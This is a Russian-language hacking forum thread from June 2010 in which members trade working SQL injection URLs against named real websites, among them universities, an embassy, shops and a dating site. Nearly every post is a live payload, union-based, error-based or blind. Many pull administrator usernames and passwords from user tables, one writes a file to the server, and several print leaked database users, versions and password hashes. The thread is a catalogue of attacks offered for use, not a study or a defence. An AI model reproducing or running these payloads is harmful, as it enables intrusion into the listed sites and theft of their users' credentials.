SQL Инъекции

life_glider · 24 Jun 2010

http://www.composeusa.com/news_news_details.php?news_id=-1%20union%20select%201,2,3,concat_ws%280x3a,version%28%29,database%28%29,@@version_compile_os%29,5

os:redhat-linux-gnu

Gorev · 24 Jun 2010

http://www.informuniversal.ru/show.php?id=-7+union+select+1,2,concat_Ws(0x3a,version(),user(),database(),@@version_compile_os)

Database Version: 4.0.27-max-log
Database name: informun
User name: [email protected]
Os: freebsd 4.7

Konqi · 24 Jun 2010

http://www.ruraldoc.com.au/content_sub.php?id=-48+union+select+1,2,3,4,5,6

Version : 4.1.13a-nt

OS :

PR-5

---------
http://www.nic.cu/form_det.php?form_id=3+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11

Version : 5.0.85-log

OS :

PR-6

----------
http://www.medicc.org/mediccreview/index.php?issue=&id=99999+/*!UNION*/+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13--&a=vp

Version : 5.1.47

OS :

PR-6

localh0$t · 24 Jun 2010

Code:
http://www.full-harmony.ru/catalog2.php?id=-20+union+select+1,concat_ws%280x0b,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7%20--
version : 4.1.25-log
user : fullhar9_kruser@localhost
database : fullhar9_kr

Konqi · 24 Jun 2010

http://www.ies-europe.org/event.php?article_id=-219+union+select+1,2,3,4+from+information_schema.tables--

Version : 5.0.90

OS :

PR-5

-------
http://www.rbeurope.org/afiseaza.php?id=-26+or(1,1)=(select+count(0),concat((select+concat(email,char(58),password)+from+users+limit+1,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

Version : 5.0.90

OS :

PR-5

-------
http://www.jbblegal.lt/image_view.php?img_id=-8694+union+select+1,2&l=en

Version : 4.0.27-log

OS :

PR-5
--------

https://www.sloncek.si/index.php?zgm=-2+union+select+1,2,3,4,5,6,7

Version : 5.0.90-community-log

OS :

PR-4

d1v · 24 Jun 2010

http://www.baku-media.ru/text.php?id=-152'+union+select+1,2,3,concat_ws(0x3a,login, pwd),5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22+from+u sers/*
Click to expand...

http://www.budgetnik.ru/reader.htm?id=-1148+union+select+1,2,3,4,version(),u ser(),7,8,9,10, 11,12,13--
Click to expand...

http://www.lawyercom.ru/reader.htm?id=-1148+union+ select+1,2,3,4,user( ),version(),database(),8,9,10,11,12,13, 14--
Click to expand...

http://www.gaz21.org/photo.php?kod_d=-58+union+select+concat_ ws(0x3a,username,user_password), 2,3,4,5,6+from+forum_users/ *
Click to expand...

http://echo.oranim.ac.il/ main.php?p=categoria&id_cat=-39+union+select+1,2,ver sion(),4,5,6- -
Click to expand...

http://www.reeltoo.ru/re/live/?show=-22861+union+all+select+1,2,3,4,5,6,7,8,version(),10,database(), user(),13,14,15,16,17,18, 19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37--
Click to expand...

http://tesi.seu.ru/index.php?&section=-9+union+select+1,2,version( ),4,5,6, 7,8--
Click to expand...

http://www.gjk.ru/news.php?newid=-1'+union+select+1, version(),3,4, 5,6,7/*
Click to expand...

баянов нет

Konqi · 24 Jun 2010

http://www.lecka.si/skupina.php?pid=-11+UniOn+select+null,version(),null,null

Version : PostgreSQL 8.1.21

OS :

PR-5

--------
http://www.lifetrek-slovenia.com/en/H2O_activities.php?sub=43&id=-70'+or(1,1)=(select+count(0),concat((select+concat(username,char(58),password)+from+user+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

Version : 5.0.51

OS :

PR-4

--------
http://www.embavenez-us.org/news.php?nid=-5252+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13

Version : 4.0.27-standard

OS :
--------
http://www.benayoun.com/projet.php?id=-120+or(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

Version : 5.0.44-log

OS :

PR-5
---------
http://www.leseditionsdeminuit.com/f/index.php?sp=livAut&auteur_id=-1794+union+select+1,2

Version : 4.1.22

OS :

PR-5

/*columns 1,2 <title></title>*/
---------
http://www.bacfilms.com/fichesalles.php?id=455+and+substring(version(),1,1)=3

Version : ~3.1

PR-6
Тиц-110
----------
http://www.brusa.biz/news/news.php?l_sel=2&idm=4&idk=-9+or(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

Verson : 5.1.42-log

OS:

PR-4
---------
http://www.interversion.org/version.php?params=project.php?id=12&katid=-1+or(1,1)=(select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+

Version : 5.0.51a-24+lenny3-log

OS :

PR-4

.:[melkiy]:. · 25 Jun 2010

Code:

http://www.tidoma.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users

http://union-ltd.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.living-redsea.ru/index.php?option=com_properties&task=agentlisting&aid=-91+/*!UNION*/+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://zdesdeshevle.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.tidoma.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.ekspert-realty.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_Ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+exp_users+--+

http://www.galeriahomes.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.adobs.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.interhouse-egypt.com/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+fdhgfdgfgh_users+--+

http://yalta-r.com.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.sam-house.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://kvartiru-kupipodolsk.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.calabriadreams.com/site/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://kvartiru-kupipodolsk.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.ooo-solnce.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.interzante.gr/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://sam-house.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://domhouse74.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.swissnetwork.ch/realestate/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.domturtsia.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.edub9intl.com/rooftop/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://dallasrehab.biz/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.pocketcasa.biz/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.piramida.crimea.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://prvigroup.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+sqs_users+--+

http://ugniydom.com.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://monarch-estate.com.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+josn_users+--+

http://nc-realty.kiev.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://prima-consors.ru/estate/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://yalta-r.com.ua/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.canariasviptravel.ru/index.php?option=com_properties&task=agentlisting&aid=-91+/*!UNION*/+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.kottege.ru/kottege.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://galeria-homes.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.imoti-vt.com/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://epis-stroi.com/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.seamore.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+where+usertype='Super+Administrator'+--+

http://land-flat.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://www.living-redsea.ru/index.php?option=com_properties&task=agentlisting&aid=-91+/*!UNION*/+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

http://auto-rezerv.ru/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,concat_ws
(0x3a,username,password,usertype),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users+--+

Konqi · 25 Jun 2010

http://www.jbblegal.lt/image_view.php?img_id=-8694+union+select+1,version()&l=en

Version : 4.0.27-log

OS :

PR-5

v1d0qz · 25 Jun 2010

→ Немного блинда

130 тиц, 2 PR
http://shintop.ru/novosibirsk/catalog_shop.php?action=item&id=1271300943%27+and+substring((select+concat(version(),0x3a,username,0x3a,user_password)+from+f_users+where+username=%27admin%27+limit+0,1),1,1)=5--+
admin:$H$9...

--------------------------------------------------------------------------

6 PR
http://bot.fiu.edu/index.php?name=athletics'+and+substring(version(),1,1)=4--+
Error == true;

--------------------------------------------------------------------------

275 тиц, 4 PR
http://www.igb.ru/rus/index.php?id=600&a=profile&uid=15+and+substring((select+version()),1,1)=5
Раньше было нормально, а сейчас на union select реагирует так, - "Уклонися от зла и сотвори благо".

--------------------------------------------------------------------------

220 тиц, 5 PR
http://www.your-people.ru/pbl.php/(66)and(substring(version(),1,1))=5

--------------------------------------------------------------------------

5200 тиц, 6 PR
http://www.finansmag.ru/blogs/post/(570)and(substring((select(version())),1,1))=5

--------------------------------------------------------------------------

90 тиц
http://www.marnava.ru/tur/(876)and(substring(version(),1,1))=5/*/type/1/cat/13/

--------------------------------------------------------------------------

450 тиц, 3 PR
http://www.soling.ru/news/?id=15+AND+SUBSTRING(select version(),1,1)=4/*

--------------------------------------------------------------------------

10 тиц, 7 PR
http://www.ncver.edu.au/newsevents/news/(issue_226)and(substring((select(version())),1,1))=(5).html

--------------------------------------------------------------------------

60 тиц, 2 PR
http://www.inodetal.ru/parts.php?code=31715+and+substring(concat((select+version()+from+information_schema.columns+limit+0,1),1,1),1,1)=5

→ Немного с выводом

30 тиц, 1 PR
http://www.citytool.ru/catalogue/akkumulyatornie_udarnie_drelishurupoverti/?vendor_id=-305%27+union+select+1,2,group_concat(table_schema,0x3a,table_name,0x3a,column_name),4+from+information_schema.columns+where+column_name+like+'%pass%'--+
5.0.45:citytoolsql@localhost:Login_citytool

--------------------------------------------------------------------------

30 тиц, 1 PR
http://www.bighunter.ru/iproducts.php?id=-11027+union+select+1,2,3,4,group_concat(username,0x3a,passwd,0x3a,admin),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+db_grant--+
5.0.51a:bighunter@localhost:bighunter

--------------------------------------------------------------------------

550 тиц, 4 PR
http://www.dizel-status.ru/electro.php?raz=11&id=-7+union+select+1,2,version(),4,5,6,7--+
5.0.67-community-logenergo_dizel@localhostenergo_dizel

--------------------------------------------------------------------------

100 тиц, 4 PR
http://www.kopitan.ru/shop/?dir=77-1&pid=-141+union+select+1,2,3,4,5,6,7,concat(user,0x3a,password,0x3a,file_priv,0x3a,host),version(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87+from+mysql.user--+
4.0.27:[email protected]:kopitan

--------------------------------------------------------------------------

350 тиц, 5 PR
http://ftacademy.ru/science/nich/?show=nir&id=6+union+select+1,version(),3,4,5,6,7,8--+
4.1.22-standard-log:academy_maybug@localhost:academy_site5

--------------------------------------------------------------------------

300 тиц, 4 PR
http://www.baimusic.ru/search/pianosearch.php?minprice=0.029999999329448&maxprice=30740.099609375&keysnum=76&rid=-1+union+select+1,2,3,4,5,6,concat(table_name,0x3a,column_name),8,9,10,11,12,13,14,15,16+from+information_schema.columns+where+column_name+like+0x257061737325--+
5.0.22-log[email protected]ianoshop

--------------------------------------------------------------------------

475 тиц, 3 PR
http://www.g4rt.ru/game.php?genre_id=21&game_id=-46+union+select+1,version(),3,4,5,6,7,8,9--+
5.0.90-log:g4rt@localhost:g4rt

--------------------------------------------------------------------------

70 тиц, 3 PR
http://www.u-m-s.ru/tovar.php?id=1440%27+union+select+1,version(),3,4,5,6,7--+
4.0.26-log:Uwww3689S@localhost:udb3689

--------------------------------------------------------------------------

90 тиц, 4 PR
Dump table in file.
http://www.poznay-mir.ru/hotel.php?uid=-106+union+select+0x7c2d31303620756e696f6e2073656c65637420312c276861636b6564272c3320696e746f206f757466696c6520272f746d702f616e7469636861742e70687027202d2d207c,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,0x27,0x27--+&resort=76
5.0.87:[email protected]oznaymir

--------------------------------------------------------------------------

550 тиц, 4 PR
http://www.dizel-status.ru/electro.php?raz=89&id=-602+union+select+version()--+
5.0.67-community-log:energo_dizel@localhost:energo_dizel

--------------------------------------------------------------------------

110 тиц, 2 PR
http://www.sb-78.ru/documentation/?tidd=-508+union+select+1,2,group_concat(login,0x3a,pass,0x3a,name,0x3a,access),4,5+from+users--+
5.0.32-Debian_7etch11-log:sbuser@localhost:Gordeev_main

--------------------------------------------------------------------------

5 PR
http://www.sareg.hacettepe.edu.tr/salih.php?salih=instrumentationsdet&photo=-1+union+select+1,group_concat(table_name,0x3a,column_name),3,4,5,6,7+from+information_schema.columns+where+column_name+like+0x257061737325--+
5.0.51a-log:[email protected]:sareg

--------------------------------------------------------------------------

10 тиц, 5 PR
http://www.iphils.uj.edu.pl/?l=pl&p=1&r=-27+union+select+1,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15--+
5.0.37:fil@localhosthilss

Konqi · 25 Jun 2010

http://www.aflsportsready.com.au/email/news.asp?id=128+and+substring(version(),1,1)=4

PR-5
-------
http://extra.holyfamily.edu/news/news.asp?id=-603+or+1=(select+top+1+table_name+from+information_schema.tables)

PR-5
--------
http://www.learningmigration.com/comenius/index.php?section=welcome&id=-15+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14--

PR-6
--------
http://www.kulturkompasset.com/index.php?AID=1015&TID=-7+union+select+1,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),3--

PR-5

AC//DC · 27 Jun 2010

911love сайт знакомств

http://www.911love.ru/?page=news&itm=-53+and+1=2+union+select+1,2,3,4,5,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),7,8,9,10+--

version : 5.0.22
user : www911love_main@localhost
database : www911love_main
os : redhat-linux-gnu

http://www.911love.ru/?page=news&itm=-53+and+1=2+union+select+1,2,3,4,5,concat_ws(0x3a,name,password,email),7,8,9,10+from+911love_dating_user--

можно ещё поковырять

localh0$t · 27 Jun 2010

Code:
http://www.black-cat.ru/cat/articles.php?id=-56+union+select+concat_ws%280x3a,@@version,user%28%29,database%28%29%29%20--
version : 5.0.82-log
user: [email protected]
database: blackcat

вывод в title

Konqi · 27 Jun 2010

Еда!

www.utep.edu

http://www.herbalsafety.utep.edu/facts.asp?ID=12+union+select+1,2,3,4,5,6,7,8,9,10,11,121,3,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+msysaccessobjects

Ms_Access

PR-8

тИЦ-140

-----------
www.apsu.edu

http://www.apsu.edu/News/show_news.asp?id=4150+union+select+1,2,3,4,5,6,7+from+msysaccessobjects

Ms_Access

PR-6

тИЦ-50

-----------
www.yu.edu

http://www.einstein.yu.edu/home//news.asp?id=262+or+1=@@version

MS_SQL

PR-7

тИЦ-200

BlackFan · 27 Jun 2010

ама.рф
Code:
http://ама.рф/index.php?i=-1+union+select+null,null,null,null,null,null,null,null,null,_nickname,null,_pass,null,_pass2,null+from+web_clients+limit+1+offset+51
PostgreSQL 8.3.1 on i386-portbld-freebsd6.2, compiled by GCC cc (GCC) 3.4.6 [FreeBSD] 20060305

имплозия.рф
Code:
http://имплозия.рф/drugstores/retphoto.asp?code=-3341+union+select+null,null,@@version,null,null,null,null,null,null,null,null,null,null+from+price
Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

динатон.рф
Code:
http://динатон.рф/dntprice-999001630'+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8+--+
user - telegluk@localhost
database - MusicMain
version - 5.0.22

m0Hze · 27 Jun 2010

Уважаемые хеккеры! Проверяйте найденные вами скули на дубли, это можно сделать здесь: http://www.google.ru/search?sourceid=chrome&ie=UTF-8&q=site:forum.antichat.ru {HOST_YOU_SQL}. Не стоит вбивать в гугл вашу скулю целиком, ибо часто скули выложенные тут прокручены через другой файл.
Только на последней странице(10 постов) дублей 6 штук.
А те кто ставит репутацию за найденные скули, неполенитесь чекнуть скулю на повтор, стимулируйте хеккеров.

547 · 27 Jun 2010

4.1.20

Code:

http://www.venellisport.it/pages/news.php?id=-19+union+select+1,2,3,4,5,6,7,8,9,version()--+

d1v · 28 Jun 2010

Ночная зона

http://nightzone.ru/seasons.php?id=162+union+select+1,2,concat_ws(0x3a,nickname,pass word),4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+admins--

http://saransk.nightzone.ru/seasons.php?id=48+union+select+1,2,concat _ws(0x3a,nickname,password),4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35, 36,37,38,39,40+from+admins--

http://belgorod.nightzone.ru/seasons.php?id=66+union+select+1,2,concat_ws(0x3a,nickname, password),4,5,6,7,8,9,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26, 27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+admins--

http://nvrsk.nightzone.ru/seasons.php?id=1+union+select+1,2,concat_ws(0x3a,nick name,password),4,5,6,7,8, 9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40+from+admins--

http://hotkey.nightzone.ru/seasons.php?id=4+union+select+1,2,concat_ ws(0x3a,nickname,password),4,5,6,7,8,9,1 0,11,12,13 ,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+admins--

AC//DC · 28 Jun 2010

ЛЕНИНГРАДСКАЯ кондитерская фабрика

http://www.leningradskaja.ru/?sublist=61&news=-12+and+1=2+union+select+1,2,3,4,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),6,7,8,9+--

version : 5.0.90-community
user : eningr_dima@localhost
database : leningr_zefir
os : unknown-linux-gnu

d1v · 28 Jun 2010

http://treeofmoney.ru/pour.php?id=-151752+union+select+1,user (),3,version( ),5--

http://heartmir.ru/write.php?id=-876+union+select+1,version (),3 ,4--

http://stairsoflove.ru/write.php?id=-123+union+select+1,user( ),3 ,version(),5,6--

http://moy-snegovik.ru/write.php?id=-123+union+select +1,user(),3,v ersion(),5,6--

SQL Инъекции

life_glider Member

Gorev Level 8

Konqi Green member

localh0$t New Member

Konqi Green member

d1v Elder - Старейшина

Konqi Green member

.:[melkiy]:. Elder - Старейшина

Konqi Green member

v1d0qz Elder - Старейшина

Konqi Green member

AC//DC Active Member

localh0$t New Member

Konqi Green member

BlackFan Member

m0Hze Well-Known Member

547 Active Member

d1v Elder - Старейшина

AC//DC Active Member

d1v Elder - Старейшина

Useful Searches

SQL Инъекции

life_glider Member

Gorev Level 8

Konqi Green member

localh0$t New Member

Konqi Green member

d1v Elder - Старейшина

Konqi Green member

.:[melkiy]:. Elder - Старейшина

Konqi Green member

v1d0qz Elder - Старейшина

Konqi Green member

AC//DC Active Member

localh0$t New Member

Konqi Green member

BlackFan Member

m0Hze Well-Known Member

547 Active Member

d1v Elder - Старейшина

AC//DC Active Member

d1v Elder - Старейшина